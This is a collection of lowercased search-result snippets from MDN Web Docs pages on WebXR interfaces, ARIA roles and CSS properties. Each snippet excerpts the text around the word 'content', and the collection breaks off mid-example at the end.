XRPermissionDescriptor.mode - Web APIs
= { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescriptor.mode = xrsessionmode; xrmode = xrpermissiondescriptor.mode; value a domstring whose value is one of the strings found in the xrsessionmode enumerated type: immersive-ar the session's output will be given exclusive access to the immersive device, but the rendered
content will be blended with the real-world environment.
... the session's environmentblendmode indicates the method to be used to blend the
content together.
XRRenderState.baseLayer - Web APIs
syntax var xrwebgllayer = xrrenderstate.baselayer; value a xrwebgllayer object which is used as the source of the world's
contents when rendering each frame of the scene.
...that context is passed into new xrwebgllayer() to create an xrwebgllayer which uses the
contents of the webgl context gl as the source of the world's image during presentation.
XRSession.environmentBlendMode - Web APIs
syntax blendmode = xrsession.environmentblendmode; value a domstring whose value is one of the strings found in the enumerated type xrenvironmentblendmode, defining if—and if so, how—virtual, rendered
content is overlaid atop the image of the real world.
... alpha-blend used by headsets or goggles which use cameras to capture the real world and display it digitally on the screen or screens used to render the
content for the user to see, this offers a way to create an ar presentation using a vr device.
XRSession.inputSources - Web APIs
the returned object is live; as devices are connected to and removed from the user's system, the list's
contents update to reflect the changes.
... usage notes you can add a handler for the xrsession event inputsourceschange to be advised when the
contents of the session's connected devices list changes.
XRSession.visibilityState - Web APIs
the read-only visibilitystate property of the xrsession interface is a string indicating whether the webxr
content is currently visible to the user, and if it is, whether it's the primary focus.
... syntax visibilitystate = xrsession.visibilitystate; value a domstring containing one of the values defined in the enumerated type xrvisibilitystate; this string indicates whether or not the xr
content is visible to the user and if it is, whether or not it's currently the primary focus.
XRSessionMode - Web APIs
values immersive-ar the session's output will be given exclusive access to the immersive device, but the rendered
content will be blended with the real-world environment.
... the session's environmentblendmode indicates the method to be used to blend the
content together.
XRSystem: requestSession() - Web APIs
the supported modes are: immersive-ar the session's output will be given exclusive access to the immersive device, but the rendered
content will be blended with the real-world environment.
... the session's environmentblendmode indicates the method to be used to blend the
content together.
XRView.eye - Web APIs
usage notes the primary purpose of this property is to allow the correct area of any pre-rendered stereo
content to be presented to the correct eye.
... for dynamically-rendered 3d
content, you can usually ignore this and simply render each of the viewer's views, one after another.
XRWebGLLayer - Web APIs
ignoredepthvalues read only a boolean which indicates whether or not the webxr compositor should make use of the
contents of the layer's depth buffer while compositing the scene.
... methods getviewport() returns a new xrviewport instance representing the position, width, and height to which the webgl context's viewport must be set to contain drawing to the area of the framebuffer designated for the specified view's
contents.
XRWebGLLayerInit.ignoreDepthValues - Web APIs
usage notes if ignoredepthvalues is true, the webxr compositor will ignore the
contents of the depth buffer, if it exists, while compositing and rendering the scene.
... if false, the depth buffer's
contents are used, if one is present.
Using the aria-labelledby attribute - Accessibility
label for the group: <div id="mybillingid">billing</div> <div> <div id="mynameid">name</div> <input type="text" aria-labelledby="mybillingid mynameid"/> </div> <div> <div id="myaddressid">address</div> <input type="text" aria-labelledby="mybillingid myaddressid"/> </div> example 2: associating headings with regions in the example below, header elements are associated with the
content they head.
...dialog
contents </div> example 5: inline definition in the example below, the definition of a term that is described in the natural flow of the narrative is associated with the term itself using the aria-labelledby attribute: <p>the doctor explained it had been a <dfn id="placebo">placebo</dfn>, or <span role="definition" aria-labelledby="placebo"> an inert preparation prescribed more for the mental relief ...
Using the aria-relevant attribute - Accessibility
aria-relevant is commonly used when a web page contains
content that may be updated while viewing the page.
... text are changes to the textual
content of existing nodes; should be considered relevant.
Using the article role - Accessibility
it is independent in that its
contents could stand alone, for example in syndication.
... examples <article role="article"> <header> <h2>blog post</h2> </header> <section class="
content"> <p>a very interesting post</p> </section> <section class="comments"> <div class="comment" role="article"> <p>meaningful comment</p> </div> <div class="comment" role="article"> <p>positive comment</p> </div> </section> </article> notes aria attributes used related aria techniques aria techniques - list of roles compatibility tbd: add support informat...
Using the group role - Accessibility
the group role is used to identify a set of user interface objects which, in contrast with a region, are not intended to be included in a table of
contents or a page summary (such as the structures that are dynamically created by a script or assistive technologies); a group should not be considered a major perceivable section on a page.
... if an author believes a section is significant enough to warrant inclusion in the page's table of
contents, they should assign the section a role of region or a standard landmark role.
ARIA: article role - Accessibility
it is usually set on related
content items such as comments, forum posts, newspaper articles or other items grouped together on one page.
... inside an application or other widget that causes screen readers and other assistive technologies to be in pass-through mode, an article can be used to indicate that these should switch back to treating the enclosed
content as regular web
content.
ARIA: List role - Accessibility
<section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> description any
content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively.
... group a collection of related objects, limited to list items when nested in a list, not important enough to have their own place in a pages table of
contents.
ARIA: Listitem role - Accessibility
<section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> description any
content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively.
... group a collection of related objects, limited to list items when nested in a list, not important enough to have their own place in a pages table of
contents.
Web applications and ARIA FAQ - Accessibility
degrading gracefully from html5 to aria when delivering
content to browsers that aren't html5-aware, you may want to consider gracefully degrading to the use of aria where necessary.
... progressbar.setattribute("value", percentcomplete); } progressbar.text
content = percentcomplete + "% complete"; } function initdemo() { setupprogress(); // setup the progress bar.
Architecture - Accessibility
node types text
content (role_text) objects are implemented by nstextaccessible.
...(e) to grab a subtree of
content: although under windows text
content is still exposed in leaf nodes of role_text, it is no longer necessary to visit those nodes.
Accessibility Information for Web Authors - Accessibility
web
content accessibility guidelines (wcag) 1.0 another important set of guidelines from the w3c web accessibility initiative (wai).
... dynamic web
content is not accessible, because it uses vanilla <div>'s and <span>'s combined with javascript rather than declarative markup to describe the behavior of custom widgets such as menus and tree views.
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
syntax values auto use "regular" scrolling, where the
content immediately ceases to scroll when you remove your finger from the touchscreen.
... touch use momentum-based scrolling, where the
content continues to scroll for a while after finishing the scroll gesture and removing your finger from the touchscreen.
::slotted() - CSS: Cascading Style Sheets
ot name="person-age">age missing</slot></li> <li><slot name="person-occupation">occupation missing</slot></li> </ul> </div> </template> a custom element — <person-details> — is defined like so: customelements.define('person-details', class extends htmlelement { constructor() { super(); let template = document.getelementbyid('person-template'); let template
content = template.
content; const shadowroot = this.attachshadow({mode: 'open'}); let style = document.createelement('style'); style.text
content = 'div { padding: 10px; border: 1px solid gray; width: 200px; margin: 10px; }' + 'h2 { margin: 0 0 10px; }' + 'ul { margin: 0; }' + 'p { margin: 10px 0; }' + ...
... '::slotted(*) { color: gray; font-family: sans-serif; } '; shadowroot.appendchild(style); shadowroot.appendchild(template
content.clonenode(true)); } }) you'll see that when filling the style element with
content, we select all slotted elements (::slotted(*)) and give them a different font and color.
:checked - CSS: Cascading Style Sheets
*/ input[type="radio"]:checked { box-shadow: 0 0 0 3px orange; } /* checkbox element, when checked */ input[type="checkbox"]:checked { box-shadow: 0 0 0 3px hotpink; } /* option elements, when selected */ option:checked { box-shadow: 0 0 0 3px lime; color: red; } result toggling elements with a hidden checkbox this example utilizes the :checked pseudo-class to let the user toggle
content based on the state of a checkbox, all without using javascript.
...td><td>[cell text]</td></tr> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> </tbody> </table> <label for="expand-toggle" id="expand-btn">toggle hidden rows</label> css /* hide the toggle checkbox */ #expand-toggle { display: none; } /* hide expandable
content by default */ .expandable { visibility: collapse; background: #ddd; } /* style the button */ #expand-btn { display: inline-block; margin-top: 12px; padding: 5px 11px; background-color: #ff7; border: 1px solid; border-radius: 3px; } /* show hidden
content when the checkbox is checked */ #expand-toggle:checked ~ * .expandable { visibility: visible; } /* style the button when th...
:host-context() - CSS: Cascading Style Sheets
in this example we have a simple custom element — <context-span> — that you can wrap around text: <h1>host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the
content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.text
content = this.text
content; const shadowroot = this.attachshadow({mode: 'open'}); shadowroot.appendchild(style); shadowroot.appendchild(span); style.text
content = 'span:hover { text-decoration: underline; }' + ...
... ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after {
content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host { background: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host-context(h1) { font-style: italic; } and :host-context(h1):after {
content: " - no links in headers!" } rules style the instance of the <context-span> element (the shadow host in this instance) inside the <h1>.
:host - CSS: Cascading Style Sheets
in this example we have a simple custom element — <context-span> — that you can wrap around text: <h1>host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the
content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.text
content = this.text
content; const shadowroot = this.attachshadow({mode: 'open'}); shadowroot.appendchild(style); shadowroot.appendchild(span); style.text
content = 'span:hover { text-decoration: underline; }' + ...
... ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after {
content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host { background: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host { background: rgba(0,0,0,0.1); padding: 2px 5px; } rule styles all instances of the <context-span> element (the shadow host in this instance) in the document.
:read-only - CSS: Cascading Style Sheets
<p
contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html living standardthe definition of ':re...
... see also :read-write html
contenteditable attribute ...
@charset - CSS: Cascading Style Sheets
@charset "utf-8"; this at-rule is useful when using non-ascii characters in some css properties, like
content.
... the value given by the charset attribute of the
content-type: http header or the equivalent in the protocol used to serve the style sheet.
prefers-reduced-data - CSS: Cascading Style Sheets
the prefers-reduced-data css media feature is used to detect if the user has requested the web
content that consumes less internet traffic.
... reduce indicates that user has expressed the preference for lightweight alternate
content.
size - CSS: Cascading Style Sheets
landscape the
content of the page is displayed in landscape mode (i.e.
... portrait the
content of the page is displayed in portrait mode (i.e.
height - CSS: Cascading Style Sheets
if the height of the containing block is not specified explicitly (i.e., it depends on
content height), and this element is not absolutely positioned, the percentage value is treated as 0.max-height: the percentage is calculated with respect to the height of the generated box's containing block.
... if the height of the containing block is not specified explicitly (i.e., it depends on
content height), and this element is not absolutely positioned, the percentage value is treated as none.computed valueas each of the properties of the shorthand:min-height: the percentage as specified or the absolute lengthmax-height: the percentage as specified or the absolute length or none formal syntax <viewport-length>{1,2}where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting minimum and maximum height @viewport { height: 500px; } specifications specification status comment css device adaptationthe definition of '"height" descriptor' in that specification.
Coordinate systems - CSS: Cascading Style Sheets
the top-left corner of the window is always (0, 0), regardless of the
content of the document or any scrolling that may have been done.
...that means that a given point in an element within the document will keep the same coordinates in the page model unless the element moves (either directly by changing its position or indirectly by adding or resizing other
content).
Using CSS animations - CSS: Cascading Style Sheets
this causes the header to finish its animation flush against the left edge of the
content area.
... the html just for the sake of completeness, here’s the html that displays the page
content, including the list into which the script inserts information about the received events: <h1 id="watchme">watch me move</h1> <p> this example shows how to use css animations to make <code>h1</code> elements move across the page.
Mastering margin collapsing - CSS: Cascading Style Sheets
no
content separating parent and descendants if there is no border, padding, inline part, block formatting context created, or clearance to separate the margin-top of a block from the margin-top of one or more of its descendant blocks; or no border, padding, inline
content, height, min-height, or max-height to separate the margin-bottom of a block from the margin-bottom of one or more of its descendant blo...
... empty blocks if there is no border, padding, inline
content, height, or min-height to separate a block's margin-top from its margin-bottom, then its top and bottom margins collapse.
CSS Basic Box Model - CSS: Cascading Style Sheets
reference properties properties controlling the flow of
content in a box overflow overflow-x overflow-y properties controlling the size of a box height width max-height max-width min-height min-width properties controlling the margins of a box margin margin-bottom margin-left margin-right margin-top margin-trim properties controlling the paddings of a box padding padding-bottom padding-left padding-right padding-top other properties visibility guides introduction to the css box model explains one of the fundamental concept of css: the box m...
...this model defines how css lays out elements, including their
content, padding, border, and margin areas.
CSS Color - CSS: Cascading Style Sheets
css color is a css module that deals with colors, color types, color blending, opacity, and how you can apply these colors and effects to html
content.
... reference properties color color-adjust opacity data types <color> guides applying color to html elements using css a guide to using css to apply color to a variety of types of
content.
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
for some things, for example, where a grid contains text
content, this switching may be exactly what you want.
...i’ve used writing modes to turn these on their side in the column track: .wrapper { display: grid; grid-gap: 20px; grid-template-columns: 1fr auto; font: 1em helvetica, arial, sans-serif; } .wrapper nav { writing-mode: vertical-lr; } .wrapper ul { list-style: none; margin: 0; padding: 1em; display: flex; justify-
content: space-between; } .wrapper a { text-decoration: none; } <div class="wrapper"> <div class="
content"> <p>turnip greens yarrow ricebean rutabaga endive cauliflower sea lettuce kohlrabi amaranth water spinach avocado daikon napa cabbage asparagus winter purslane kale.
Subgrid - CSS: Cascading Style Sheets
as with any nested grid however, the size of
content in the subgrid can change the track sizing, assuming a track sizing method is used that allows
content to affect the size.
... in such a case, auto-sized row tracks for example will grow to fit
content in the main grid and
content in the subgrid.
The stacking context - CSS: Cascading Style Sheets
contain: strict, contain:
content).
... each stacking context is self-contained: after the element's
contents are stacked, the whole element is considered in the stacking order of the parent stacking context.
Using CSS transitions - CSS: Cascading Style Sheets
examples simple example this example performs a four-second font size transition with a two-second delay between the time the user mouses over the element and the beginning of the animation effect: #delay { font-size: 14px; transition-property: font-size; transition-duration: 4s; transition-delay: 2s; } #delay:hover { font-size: 36px; } multiple animated properties example html
content <body> <p>the box below combines transitions for: width, height, background-color, transform.
... hover over the box to see these properties animated.</p> <div class="box">sample</div> </body> css
content .box { border-style: solid; border-width: 1px; display: block; width: 100px; height: 100px; background-color: #0000ff; transition: width 2s, height 2s, background-color 2s, transform 2s; } .box:hover { background-color: #ffcccc; width: 200px; height: 200px; transform: rotate(180deg); } when property value lists are of different lengths if any property's list of values is shorter than the others, its values are repeated to make them match.
CSS values and units - CSS: Cascading Style Sheets
for example, the value of grid-area can be a <custom-ident>, so if we had a grid area named
content we would use it without quotes: .item { grid-area:
content; } in comparison, a data type that is a <string>, such as a string value of the
content property, must be quoted: .item::after {
content: "this is my
content."; } while you can generally create any name you want, including using emojis, the identifier can't be none, unset, initial, or inherit, start with a digit or two dashes,...
... image the <image> value specifies all the different types of image that can be used in css, and is defined in the css image values and replaced
content module.
Grid wrapper - CSS: Cascading Style Sheets
the grid wrapper pattern is useful for aligning grid
content within a central wrapper, while also allowing items to break out and align to the edge of the containing element or page when desired.
... useful fallbacks or alternative methods when using this recipe at page level it can be useful to set a max-width along with left and right auto margins to center the
content horizontally: .grid { max-width: 1200px; margin: 0 auto; // horizontally centers the container } /* remove the max-width and margins if the browser supports grid */ @supports (display: grid) { .grid { display: grid; /* other grid code goes here */ max-width: none; margin: 0; } } to “break out” a full-width item to the edge of the viewport you can then use this trick...
Layout mode - CSS: Cascading Style Sheets
float layout, designed to cause an item to position itself left or right with the rest of the
content in normal flow wrapping around it.
... multi-column layout, designed for laying
content out in columns as in a newspaper.
Microsoft CSS extensions - CSS: Cascading Style Sheets
-ms-accelerator -ms-block-progression -ms-
content-zoom-chaining -ms-
content-zooming -ms-
content-zoom-limit -ms-
content-zoom-limit-max -ms-
content-zoom-limit-min -ms-
content-zoom-snap -ms-
content-zoom-snap-points -ms-
content-zoom-snap-type -ms-filter -ms-flow-from -ms-flow-into -ms-high-contrast-adjust -ms-hyphenate-limit-chars -ms-hyphenate-limit-lines -ms-hyphenate-limit-zone -ms-ime-align -ms-overflow-style -ms-scrollbar-3dlight-color -ms-scrollbar-arrow-color ...
...tion -ms-text-autospace -ms-touch-select -ms-wrap-flow -ms-wrap-margin -ms-wrap-through zoom pseudo-elements ::-ms-browse ::-ms-check ::-ms-clear ::-ms-expand ::-ms-fill ::-ms-fill-lower ::-ms-fill-upper ::-ms-reveal ::-ms-thumb ::-ms-ticks-after ::-ms-ticks-before ::-ms-tooltip ::-ms-track ::-ms-value media features -ms-high-contrast css-related dom apis ms
contentzoomfactor msgetpropertyenabled msgetregion
content msrangecollection msregionoverflow ...
Universal selectors - CSS: Cascading Style Sheets
examples css * [lang^=en] { color: green; } *.warning { color: red; } *#main
content { border: 1px solid blue; } .floating { float: left } /* automatically clear the next sibling after a floating element */ .floating + * { clear: left; } html <p class="warning"> <span lang="en-us">a green span</span> in a red paragraph.
... </p> <p id="main
content" lang="en-gb"> <span class="warning">a red span</span> in a green paragraph.
background-color - CSS: Cascading Style Sheets
accessibility concerns it is important to ensure that the contrast ratio between the background color and the color of the text placed over it is high enough that people experiencing low vision conditions will be able to read the
content of the page.
...in order to meet current web
content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text
content and 3:1 for larger text such as headings.
bottom - CSS: Cascading Style Sheets
auto specifies that: for absolutely positioned elements, the position of the element is based on the top property, while height: auto is treated as a height based on the
content; or if top is also auto, the element is positioned where it should vertically be positioned if it were a static element.
... html <p>this<br>is<br>some<br>tall,<br>tall,<br>tall,<br>tall,<br>tall<br>
content.</p> <div class="fixed"><p>fixed</p></div> <div class="absolute"><p>absolute</p></div> css p { font-size: 30px; line-height: 2em; } div { width: 48%; text-align: center; background: rgba(55,55,55,.2); border: 1px solid blue; } .absolute { position: absolute; bottom: 0; left: 0; } .fixed { position: fixed; bottom: 0; right: 0; } result specifications spec...
color - CSS: Cascading Style Sheets
accessibility concerns it is important to ensure that the contrast ratio between the color of the text and the background the text is placed over is high enough that people experiencing low vision conditions will be able to read the
content of the page.
...in order to meet current web
content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text
content and 3:1 for larger text such as headings.
<color> - CSS: Cascading Style Sheets
activetext text of active links buttonface background of push buttons buttontext text of push buttons canvas background of application
content or documents canvastext text in application
content or documents field background of input fields fieldtext text in input fields graytext text that is disabled highlight background of items that are selected in a control highlighttext text of items that are selected in a control linktext text of non-active, non-visited links visitedtext text of visi...
...b(0, 0, 0)"; image.style.color = stringtotest; if (image.style.color !== "rgb(0, 0, 0)") { return true; } image.style.color = "rgb(255, 255, 255)"; image.style.color = stringtotest; return image.style.color !== "rgb(255, 255, 255)"; } inputelem.addeventlistener('change', () => { if(validtextcolor(inputelem.value)) { divelem.style.backgroundcolor = inputelem.value; divelem.text
content = ''; } else { divelem.style.backgroundcolor = 'white'; divelem.text
content = 'invalid color value'; } }); result rgb syntax variations this example shows the many ways in which a single color can be created with the various rgb color syntaxes.
column-rule - CSS: Cascading Style Sheets
th formal syntax <'column-rule-width'> | <'column-rule-style'> | <'column-rule-color'> examples example 1 /* same as "medium dotted currentcolor" */ p.foo { column-rule: dotted; } /* same as "medium solid blue" */ p.bar { column-rule: solid blue; } /* same as "8px solid currentcolor" */ p.baz { column-rule: solid 8px; } p.abc { column-rule: thick inset blue; } example 2 html <p class="
content-box"> this is a bunch of text split into three columns.
...</p> css .
content-box { padding: 0.3em; background: #ff7; column-count: 3; column-rule: inset 2px #33f; } result specifications specification status comment css multi-column layout modulethe definition of 'column-rule' in that specification.
counter() - CSS: Cascading Style Sheets
note: the counter() function can be used with any css property, but support for properties other than
content is experimental, and support for the type-or-unit parameter is sparse.
...)where <counter-style> = <counter-style-name> | symbols()where <counter-style-name> = <custom-ident> examples default value compared to upper roman html <ol> <li></li> <li></li> <li></li> </ol> css ol { counter-reset: listcounter; } li { counter-increment: listcounter; } li::after {
content: "[" counter(listcounter) "] == [" counter(listcounter, upper-roman) "]"; } result decimal-leading-zero compared to lower-alpha html <ol> <li></li> <li></li> <li></li> </ol> css ol { counter-reset: count; } li { counter-increment: count; } li::after {
content: "[" counter(count, decimal-leading-zero) "] == [" counter(count, lower-alpha) "]"; } re...
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
you can now use justify-
content: space-between; to put this space between the two flex items.
...our html page creates a new formatting context (floats and margins cannot extend out from the boundaries) and our
content lays out in normal flow, using block and inline layout, unless we change the value of display to use some other formatting context.
<easing-function> - CSS: Cascading Style Sheets
div { position: absolute; width: 50px; height: 50px; background-color: blue; background-image: radial-gradient(circle at 10px 10px, rgba(25,255,255,0.8),rgba(25,255,255,0.4)); border-radius: 50%; top: 25px; animation: 1.5s infinite alternate; } @keyframes move-right { from { left: 10%; } to { left: 90%; } } li { display: flex; align-items: center; justify-
content: center; margin-bottom: 20px; } javascript const selectelem = document.queryselector('select'); const startbtn = document.queryselector('button'); const divelem = document.queryselector('div > div'); startbtn.addeventlistener('click', () => { if(startbtn.text
content === 'start animation') { divelem.style.animationname = 'move-right'; startbtn.text
content = 'stop animation'; div...
...elem.style.animationtimingfunction = selectelem.value; } else { divelem.style.animationname = 'unset'; startbtn.text
content = 'start animation'; } }); selectelem.addeventlistener('change', () => { divelem.style.animationtimingfunction = selectelem.value; }); result cubic-bezier() function examples these cubic bézier curves are valid for use in css: /* the canonical bézier curve with four <number> in the [0,1] range.
<filter-function> - CSS: Cascading Style Sheets
a</option> </select> </li> <li> <input type="range"><output></output> </li> <li> <p>current value: <code></code></p> </li> </ul> css div { width: 300px; height: 300px; background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center; } li { display: flex; align-items: center; justify-
content: center; margin-bottom: 20px; } input { width: 60% } output { width: 5%; text-align: center; } select { width: 40%; margin-left: 2px; } javascript const selectelem = document.queryselector('select'); const divelem = document.queryselector('div'); const slider = document.queryselector('input'); const output = document.queryselector('output'); const curvalue = document.queryselecto...
...{math.round(slider.value)}${slider.getattribute('data-unit')} ${math.round(slider.value)}${slider.getattribute('data-unit')} ${math.round(math.abs(slider.value/2))}${slider.getattribute('data-unit')})`; } else { divelem.style.filter = `${selectelem.value}(${slider.value}${slider.getattribute('data-unit')}`; } updateoutput(); updatecurvalue(); } function updateoutput() { output.text
content = slider.value; } function updatecurvalue() { curvalue.text
content = `filter: ${divelem.style.filter}`; } setslider(selectelem.value); setdiv(selectelem.value); result specifications specification status filter effects module level 1the definition of 'filter-function' in that specification.
flex-grow - CSS: Cascading Style Sheets
d and e are flex-grow:2 .</h5> <div id="
content"> <div class="box" style="background-color:red;">a</div> <div class="box" style="background-color:lightblue;">b</div> <div class="box" style="background-color:yellow;">c</div> <div class="box1" style="background-color:brown;">d</div> <div class="box1" style="background-color:lightgreen;">e</div> <div class="box" style="background-color:brown;">f</div> </div> css #
content { displa...
...y: flex; justify-
content: space-around; flex-flow: row wrap; align-items: stretch; } .box { flex-grow: 1; border: 3px solid rgba(0,0,0,.2); } .box1 { flex-grow: 2; border: 3px solid rgba(0,0,0,.2); } result specifications specification status comment css flexible box layout modulethe definition of 'flex-grow' in that specification.
flex-shrink - CSS: Cascading Style Sheets
formal definition initial value1applies toflex items, including in-flow pseudo-elementsinheritednocomputed valueas specifiedanimation typea number formal syntax <number> examples setting flex item shrink factor html <p>the width of
content is 500px; the flex-basis of the flex items is 120px.</p> <p>a, b, c have flex-shrink:1 set.
... d and e have flex-shrink:2 set</p> <p>the width of d and e is less than the others.</p> <div id="
content"> <div class="box" style="background-color:red;">a</div> <div class="box" style="background-color:lightblue;">b</div> <div class="box" style="background-color:yellow;">c</div> <div class="box1" style="background-color:brown;">d</div> <div class="box1" style="background-color:lightgreen;">e</div> </div> css #
content { display: flex; width: 500px; } #
content div { flex-basis: 120px; border: 3px solid rgba(0,0,0,.2); } .box { flex-shrink: 1; } .box1 { flex-shrink: 2; } result specifications specification status comment css flexible box layout modulethe definition of 'flex-shrink' in that specification.
flex-wrap - CSS: Cascading Style Sheets
formal definition initial valuenowrapapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax nowrap | wrap | wrap-reverse examples setting flex container wrap values html <h4>this is an example for flex-wrap:wrap </h4> <div class="
content"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex-wrap:nowrap </h4> <div class="
content1"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex-wrap:wrap-reverse </h4> <div class="
content2"> <div class="red">1</div> <div class="green">2</div> <div ...
...class="blue">3</div> </div> css /* common styles */ .
content, .
content1, .
content2 { color: #fff; font: 100 24px/100px sans-serif; height: 150px; text-align: center; } .
content div, .
content1 div, .
content2 div { height: 50%; width: 300px; } .red { background: orangered; } .green { background: yellowgreen; } .blue { background: steelblue; } /* flexbox styles */ .
content { display: flex; flex-wrap: wrap; } .
content1 { display: flex; flex-wrap: nowrap; } .
content2 { display: flex; flex-wrap: wrap-reverse; } results specifications specification status comment css flexible box layout modulethe definition of 'flex-wrap' in that specification.
flex - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: flex-grow flex-shrink flex-basis syntax /* keyword values */ flex: auto; flex: initial; flex: none; /* one value, unitless number: flex-grow */ flex: 2; /* one value, width/height: flex-basis */ flex: 10em; flex: 30%; flex: min-
content; /* two values: flex-grow | flex-basis */ flex: 1 30px; /* two values: flex-grow | flex-shrink */ flex: 2 2; /* three values: flex-grow | flex-shrink | flex-basis */ flex: 2 2 10%; /* global values */ flex: inherit; flex: initial; flex: unset; the flex property may be specified using one, two, or three values.
...splay: flex; margin: 1em; } .item { margin: 1em; padding: 0.5em; width: 110px; min-width: 0; background-color: #1b5385; color: white; font-family: monospace; font-size: 13px; } .initial { flex: initial; } .auto { flex: auto; } .none { flex: none; } .four { flex: 4; } .two { flex: 2; } .one { flex: 1; } by default flex items don't shrink below their minimum
content size.
gap (grid-gap) - CSS: Cascading Style Sheets
v></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #grid { grid-gap: 20px 5px; } #grid { display: grid; height: 200px; grid-template: repeat(3, 1fr) / repeat(3, 1fr); gap: 20px 5px; } #grid > div { border: 1px solid green; background-color: lime; } result multi-column layout html <p class="
content-box"> this is some multi-column text with a 40px column gap created with the css <code>gap</code> property.
...</p> css .
content-box { column-count: 3; gap: 40px; } result specifications specification status comment css box alignment module level 3the definition of 'gap' in that specification.
left - CSS: Cascading Style Sheets
auto specifies that: for absolutely positioned elements, the position of the element is based on the right property, while width: auto is treated as a width based on the
content; or if right is also auto, the element is positioned where it should horizontally be positioned if it were a static element.
...itself in relation to it.</p> </div> <div id="example_2"> <pre> position: relative; top: 0; right: 0; </pre> <p>relative position in relation to its siblings.</p> </div> <div id="example_3"> <pre> float: right; position: relative; top: 20px; left: 20px; </pre> <p>relative to its sibling div above, but removed from flow of
content.</p> <div id="example_4"> <pre> position: absolute; bottom: 10px; right: 20px; </pre> <p>absolute position inside of a parent with relative position</p> </div> <div id="example_5"> <pre> position: absolute; right: 0; left: 0; top: 200px; </pre> <p>absolute position with both left and right de...
line-height - CSS: Cascading Style Sheets
-moz-block-height sets the line height to the
content height of the current block.
... accessibility concerns use a minimum value of 1.5 for line-height for main paragraph
content.
list-style-type - CSS: Cascading Style Sheets
to address this, add a zero-width space as pseudo
content before each list item to ensure the list is announced properly.
... ul { list-style: none; } ul li::before {
content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valuediscapplies tolist itemsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <counter-style> | <string> | nonewhere <counter-style> = <counter-style-name> | symbols()where <counter-style-name> = <custom-ident> examples setting list item markers html list 1 <ol class="normal"> <li>hello</li> <li>world</li> <li>what's up?</li> </ol> list 2 <ol class="shortcut"> <li>looks</li> <...
list-style - CSS: Cascading Style Sheets
to address this, add a zero-width space as pseudo-
content before each list item to ensure the list is recognized properly.
... ul { list-style: none; } ul li::before {
content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:list-style-type: disclist-style-position: outsidelist-style-image: noneapplies tolist itemsinheritedyescomputed valueas each of the properties of the shorthand:list-style-image: none or the image with its uri made absolutelist-style-position: as specifiedlist-style-type: as specifiedanimation typediscrete formal syntax <'list-style-type'> | <'list-style-position'> | <'li...
margin-left - CSS: Cascading Style Sheets
in the rare cases where width is overconstrained (i.e., when all of width, margin-left, border, padding, the
content area, and margin-right are defined), margin-left is ignored, and will have the same calculated value as if the auto value was specified.
...it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting left margin using pixels and percentages .
content { margin-left: 5%; } .sidebox { margin-left: 10px; } .logo { margin-left: -5px; } specifications specification status comment css basic box modelthe definition of 'margin-left' in that specification.
mask-type - CSS: Cascading Style Sheets
formal definition initial valueluminanceapplies to<mask> elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax luminance | alpha examples setting an alpha mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" mask
contentunits="objectboundingbox" style="mask-type:alpha"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); } result setting a luminance mask html <div class="redsquare"></div> <svg versi...
...on="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" mask
